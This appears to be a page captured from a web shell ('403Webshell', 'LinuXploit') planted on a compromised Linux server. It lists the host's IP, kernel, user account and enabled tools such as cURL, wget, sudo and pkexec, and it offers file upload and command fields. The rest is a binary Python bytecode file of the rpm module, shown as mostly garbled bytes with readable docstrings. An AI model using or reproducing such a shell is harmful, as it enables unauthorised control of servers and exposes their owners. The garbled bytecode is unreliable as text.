403Webshell
Server IP : 80.87.202.40  /  Your IP : 216.73.216.169
Web Server : Apache
System : Linux rospirotorg.ru 5.14.0-539.el9.x86_64 #1 SMP PREEMPT_DYNAMIC Thu Dec 5 22:26:13 UTC 2024 x86_64
User : bitrix ( 600)
PHP Version : 8.2.27
Disable Function : NONE
MySQL : OFF |  cURL : ON |  WGET : ON |  Perl : ON |  Python : OFF |  Sudo : ON |  Pkexec : ON
Directory :  /usr/lib64/python3.9/site-packages/rpm/__pycache__/

Upload File :
current_dir [ Writeable] document_root [ Writeable]

 

Command :


[ Back ]     

Current File : /usr/lib64/python3.9/site-packages/rpm/__pycache__/__init__.cpython-39.pyc
a

���^��@s�dZddlZddlTddlTddlmZejZejZejZejZej	Z	e
e	�d��Ze
Zdd�Zdd�Zdd
d�Zddd
�Zdd�Zdd�Zdefdd�ZdS)aKRPM Module

This module enables you to manipulate rpms and the rpm database.

The rpm base module provides the main starting point for
accessing RPM from Python. For most usage, call
the TransactionSet method to get a transaction set (rpmts).

For example:
	import rpm
	ts = rpm.TransactionSet()

The transaction set will open the RPM database as needed, so
in most cases, you do not need to explicitly open the
database. The transaction set is the workhorse of RPM.

You can open another RPM database, such as one that holds
all packages for a given Linux distribution, to provide
packages used to solve dependencies. To do this, use
the following code:

rpm.addMacro('_dbpath', '/path/to/alternate/database')
solvets = rpm.TransactionSet()
solvets.openDB()
rpm.delMacro('_dbpath')

# Open default database
ts = rpm.TransactionSet()

This code gives you access to two RPM databases through
two transaction sets (rpmts): ts is a transaction set
associated with the default RPM database and solvets
is a transaction set tied to an alternate database, which
is very useful for resolving dependencies.
�N)�*�.cOstjdtdd�t|i|��S)z"DEPRECATED! Use rpm.hdr() instead.zUse rpm.hdr() instead.�)�
stacklevel)�warnings�warn�DeprecationWarning�hdr)�args�kwds�r�2/usr/lib64/python3.9/site-packages/rpm/__init__.py�
headerLoad5srcCsHg}z$t|�}|r|�t�|�|�Wqtjy@YqDYq0q|S�N)r	ZconvertZHEADERCONV_RETROFIT_V3�append�_rpm�error)Zrpm_fd�retrofit�hlist�hrrr
�_doHeaderListFromFD;s
rTcCst|t�st|�}t||�Sr)�
isinstance�fdr)�	file_descrrrr
�readHeaderListFromFDIs
rcCst|�}t||�}|��|Sr)rr�close)�pathr�frrrr
�readHeaderListFromFileOs
rc	CsPt|t�st|�}z|��}t|�}Wn tjtfyFd}d}Yn0||fS)zReturn (header, pos_before_hdr)N)rr�tellr	rr�IOError)r�offsetrrrr
�readHeaderFromFDVs

r"cCs$g}|D]}t|�r|�|�q|S)z)Returns list of signals that were caught.)ZsignalCaughtr)ZsiglistZcaughtZsigrrr
�
signalsCaughtds
r#�cCst|||f|�S)z~
    Creates a single entry dependency set (ds)

    dsSingle(RPMTAG_CONFLICTNAME, "rpm") corresponds to "Conflicts: rpm"
    )Zds)ZTagN�NZEVRZFlagsrrr
�dsSinglensr&)T)T)�__doc__rZrpm._rpmZrpm.transactionrZ_RPMVSF_NODIGESTSZ_RPMVSF_NOHEADERZ_RPMVSF_NOPAYLOADZ_RPMVSF_NOSIGNATURES�__version__�tuple�splitZ__version_info__ZTransactionSet�tsrrrrr"r#ZRPMSENSE_ANYr&rrrr
�<module>s$$



Youez - 2016 - github.com/yon3zu
LinuXploit